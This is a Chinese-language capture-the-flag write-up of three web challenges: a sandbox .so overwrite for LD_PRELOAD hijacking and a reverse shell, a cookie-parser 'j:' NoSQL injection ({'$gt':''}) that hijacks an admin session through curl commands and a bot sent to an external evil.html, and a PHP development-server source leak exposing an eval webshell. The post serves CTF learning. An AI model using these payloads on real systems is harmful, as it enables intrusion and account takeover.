一堆xctf


RootKB

发现工具里的调试可以运行python

拉到本地康康


直接在这里就能看到sandbox有权叭,tool执行代码默认用户是sandbox。很明显能看到.so文件是没啥限制的,我们就从这里入手。(加上从出题人那里得知就是沙箱的洞(((

def runcmd():
    with open("/opt/maxkb-app/sandbox/sandbox.so", "rb") as f:
        data = f.read()
        return data

可以看到这个目录下的是有权限读写的

想到LD_PRELOAD劫持,遂https://developer.aliyun.com/article/1313475,可以直接copy 下来exp即可

先准备好文件

运行1.py得到data,然后再在工具那里写入ta就行

def runcmd():
    with open("/opt/maxkb-app/sandbox/sandbox.so", "wb") as f:
            a=""".d..a..t..a..."""
        f.write(a)
        return 1

最后再触发即可

import os
os.popen("ls")

成功反弹shell


Easy Login

cookie-parser 中间件有个特性:如果 cookie 值以 j: 开头,会自动 JSON.parse 解析成对象。

sid=j:{"$gt":""}  → req.cookies.sid = {"$gt":""} 

而这道题是用 cookie 里的 sid 查找 session

const session = await sessionsCollection.findOne({ sid });

所以:findOne({ sid: {"$gt":""} }),匹配所有 sid 大于空字符串的记录,即任意 session。

因此让bot访问 http://127.0.0.1:3000/ 并用 admin 账号登录,数据库里会插入session,bot再随便访问一个url实现登陆

curl "http://xxx/admin" -H 'Cookie: sid=j:{"$gt":""}'

cookie-parser 把 sid 解析成对象 {“$gt”:””},MongoDB 执行 findOne({ sid: {“$gt”:””} }) 匹配到 admin 的 session

但有的时候会遇见数据库匹配不到的情况,所以建议重开容器然后一把索

  curl -X POST "http://223.6.249.127:45811/visit" -H "Content-Type: application/json" -d '{"url":"http://120.27.122.42:8000/evil.html"}' && sleep 10 && curl "http://223.6.249.127:45811/admin" -H 'Cookie: sid=j:{"$gt":""}'
{"ok":true}{"flag":"alictf{9f016e08-e77a-4105-a5f5-693b799078ce}"}

keep

php<= 7 . 4 . 21 development server源码泄露漏洞复现 - 凪白Kw - 博客园

GET /index.php HTTP/1.1
Host: 101.245.72.127:8888

GET /Kawakaze.txt HTTP/1.1

这个需要下面那个是静态格式比如(加.txt),常规payload不一定是按静态解析

得到

<?php

@eval($_POST["admin"]);

如果是txt文件的话,他返回的格式就是Text/plain,于是就以第二请求为.php文件去访问s3Cr37_f1L3.php.bak

这里注意长度就行了,然后记得都开不修复长度


文章作者: q1n9
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 q1n9 !
  目录